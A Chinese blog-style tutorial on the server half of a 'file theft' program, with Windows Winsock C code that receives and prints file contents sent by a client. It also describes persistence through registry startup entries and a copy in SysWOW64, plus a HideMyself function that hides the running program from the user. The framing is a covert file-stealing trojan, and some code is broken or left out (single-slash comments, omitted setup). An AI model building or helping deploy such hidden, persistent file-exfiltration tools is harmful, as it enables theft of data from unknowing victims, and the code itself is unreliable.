文件窃取之服务端的实现

第一步 包含头文件及网络库

#include <stdio.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")

第二步 定义一个错误函数,因为我们总是要打印错误代码,所以统一写成函数

void errorhanding(const char* msg)
{
	fputs(msg, stderr);   /stderr表示错误码
	fputc('\n', stderr);
	system("pause");
	exit(1);      
}

第一行会输出msg,第二行会输出换行,exit(1)表示异常退出,和return 0差不多

第三步 初始化套接字,代码省略

第四步  建立套接字socket

    SOCKET servsock =socket(PF_INET, SOCK_STREAM, 0);
	if (INVALID_SOCKET== servsock)
	{
		errorhanding("servsock error");
	}

第五步 绑定、监听、代码省略

第六步  接发数据

    SOCKADDR_IN addrCli;
	int len = sizeof(SOCKADDR_IN);
	int strlen{};    char MSG[MAX_SIZE]{0};
	SOCKET cliesock;
	for (int i=0;i<1000;i++)
	{
		cliesock = accept(servsock, (SOCKADDR*)&addrCli, &len);
		if (SOCKET_ERROR == cliesock)
		{
			errorhanding("accept  error");
		}
		memset(MSG, 0, MAX_SIZE);
		while ((strlen=recv(cliesock,MSG,MAX_SIZE,0))!=0)
		{
			printf("Server msg=%s\n", MSG);
		}
		closesocket(cliesock);
	}

最后运行结果就是把客户端的文件内容发送给了服务端

特别注意*;如果只是运行客户端,不运行服务器,就会报10061的错误,要先开服务器代码,后开客户端代码

高阶知识

1.将客户端代码添加到启动项

太复杂了

2.将客户端代码隐藏

这里也不建议在VS运行,因为运行后,exe文件会隐藏运行,非常不好清除,另外我尝试了很多次,当把程序写入注册表后,因为程序有行检测是否重复写入的代码,所以我试了第一次后,向试第二次,就要把程序删除后,再运行,删除它在系统文件夹C:\Windows\SysWOW64下面的文件时,然后再运行,就会报错,这里试了很多次,浪费了很多时间,这两部分代码非必要不用运行

void HideMyself()    /隐藏自身代码
{
	/拿到当前窗口句柄
	HWND hwnd = GetForegroundWindow();
	ShowWindow(hwnd, SW_HIDE);
}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值